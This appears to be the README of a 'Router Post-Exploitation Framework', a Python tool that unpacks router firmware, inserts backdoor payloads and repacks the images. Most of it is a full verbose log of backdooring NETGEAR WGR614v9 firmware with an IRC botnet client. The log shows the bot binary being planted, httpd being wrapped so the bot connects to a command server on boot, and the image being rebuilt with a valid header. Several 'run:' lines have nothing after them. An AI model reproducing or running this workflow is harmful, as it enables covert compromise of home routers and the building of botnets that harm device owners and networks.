Router Post-Exploitation Framework
Currently, the framework includes a number of firmware image modules:
For a list of options, run:
'Verified' - This module is confirmed to work and is stable. 'Unverified' - This module is believed to work or should work with little additional effort, but awaits being tested on a physical device. 'Testing' - This module is currently undergoing development and is unstable for the time being. Users should consider this module a "work in progress." 'Roadblock' - Issues have halted progress on this module for the time being. Certain unavailable utilities or significant reverse engineering work may be necessary.
For a list of all currently supported firmware targets, run:
The script is written for Python 2.6 and may require the installation of a few modules. It is typically invoked as:
and accepts a number of optional switches (see -h).
./rpef.py <firmware image> <output file> <payload>
The rules/ directory stores a hierarchy of rules// directories. One module correlates to one firmware checksum (not to one specific router) since multiple routers have been observed to run the exact same firmware. Within each module is properties.json which stores the language and order of operations necessary to unpackage, backdoor, and repackage the target firmware image. The payloads/ directory stores cross-compiled binaries ready for deployment, and the optional dependencies/ directory stores miscellaneous files to aid the process.
The utilities/ directory stores pre-compiled x86 binaries to perform tasks such as packing/unpacking filesystems, compressing/decompressing data (for which no suitable .py module exists), and calculating checksums.
The payloads_src/ directory stores source code for the payloads themselves. All payloads are written from scratch to keep them as small as possible.
To verbosely generate a firmware image for the WGR614v9 backdoored with a botnet client, run:
And the process should proceed as follows:
./rpef.py WGR614v9-V1.2.30_41.0.44NA.chk WGR614v9-V1.2.30_41.0.44NA_botnet.chk botnet -v
$ ./rpef.py WGR614v9-V1.2.30_41.0.44NA.chk WGR614v9-V1.2.30_41.0.44NA_botnet.chk botnet -v [+] Verifying checksum Calculated checksum: 767c962037b32a5e800c3ff94a45e85e Matched target: NETGEAR WGR614v9 1.2.30NA (Verified) [+] Extracting parts from firmware image Step 1: Extract WGR614v9-V1.2.30_41.0.44NA.chk, Offset 58, Size 456708 -> /tmp/tmpOaw1tn/headerkernel.bin Step 2: Extract WGR614v9-V1.2.30_41.0.44NA.chk, Offset 456766, Size 1476831 -> /tmp/tmpOaw1tn/filesystem.bin [+] Unpacking filesystem Step 1: unsquashfs-1.0 /tmp/tmpOaw1tn/filesystem.bin -> /tmp/tmpOaw1tn/extracted_fs Executing: utilities/unsquashfs-1.0 -dest /tmp/tmpOaw1tn/extracted_fs /tmp/tmpOaw1tn/filesystem.bin created 217 files created 27 directories created 48 symlinks created 0 devices created 0 fifos [+] Inserting payload Step 1: Rm /tmp/tmpOaw1tn/extracted_fs/lib/modules/2.4.20/kernel/net/ipv4/opendns/openDNS_hijack.o Step 2: Copy rules/NETGEAR/WGR614v9_1.2.30NA/payloads/botnet /tmp/tmpOaw1tn/extracted_fs/usr/sbin/botnet Step 3: Move /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd.bak Step 4: Touch /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd Step 5: Appendtext "#!/bin/msh " >> /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd [+] INPUT REQUIRED, IP address of IRC server: 18.104.22.168 [+] INPUT REQUIRED, Port of IRC server: 6667 [+] INPUT REQUIRED, Channel to join (include #): #hax [+] INPUT REQUIRED, Prefix of bot nick: toteawesome Step 6: Appendtext "/usr/sbin/botnet 22.214.171.124 6667 \#hax toteawesome & " >> /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd Step 7: Appendtext "/usr/sbin/httpd.bak " >> /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd Step 8: Chmod 777 /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd [+] Building filesystem Step 1: mksquashfs-2.1 /tmp/tmpOaw1tn/extracted_fs, Blocksize 65536, Little endian -> /tmp/tmpOaw1tn/newfs.bin Executing: utilities/mksquashfs-2.1 /tmp/tmpOaw1tn/extracted_fs /tmp/tmpOaw1tn/newfs.bin -b 65536 -root-owned -le Creating little endian 2.1 filesystem on /tmp/tmpOaw1tn/newfs.bin, block size 65536. Little endian filesystem, data block size 65536, compressed data, compressed metadata, compressed fragments Filesystem size 1442.99 Kbytes (1.41 Mbytes) 29.38% of uncompressed filesystem size (4912.18 Kbytes) Inode table size 2245 bytes (2.19 Kbytes) 33.63% of uncompressed inode table size (6675 bytes) Directory table size 2322 bytes (2.27 Kbytes) 55.26% of uncompressed directory table size (4202 bytes) Number of duplicate files found 3 Number of inodes 293 Number of files 218 Number of fragments 22 Number of symbolic links 48 Number of device nodes 0 Number of fifo nodes 0 Number of socket nodes 0 Number of directories 27 Number of uids 1 root (0) Number of gids 0 [+] Gluing parts together Step 1: Touch WGR614v9-V1.2.30_41.0.44NA_botnet.chk Step 2: Appendfile /tmp/tmpOaw1tn/headerkernel.bin >> WGR614v9-V1.2.30_41.0.44NA_botnet.chk Step 3: Appendfile /tmp/tmpOaw1tn/newfs.bin >> WGR614v9-V1.2.30_41.0.44NA_botnet.chk [+] Padding image with null bytes Step 1: Pad WGR614v9-V1.2.30_41.0.44NA_botnet.chk to size 1937408 with 0 (0x00) [+] Generating CHK header Step 1: packet WGR614v9-V1.2.30_41.0.44NA_botnet.chk rules/NETGEAR/WGR614v9_1.2.30NA/dependencies/compatible_NA.txt rules/NETGEAR/WGR614v9_1.2.30NA/dependencies/ambitCfg.h Executing: utilities/packet -k WGR614v9-V1.2.30_41.0.44NA_botnet.chk -b rules/NETGEAR/WGR614v9_1.2.30NA/dependencies/compatible_NA.txt -i rules/NETGEAR/WGR614v9_1.2.30NA/dependencies/ambitCfg.h [+] Removing temporary files Step 1: Rmdir /tmp/tmpOaw1tn/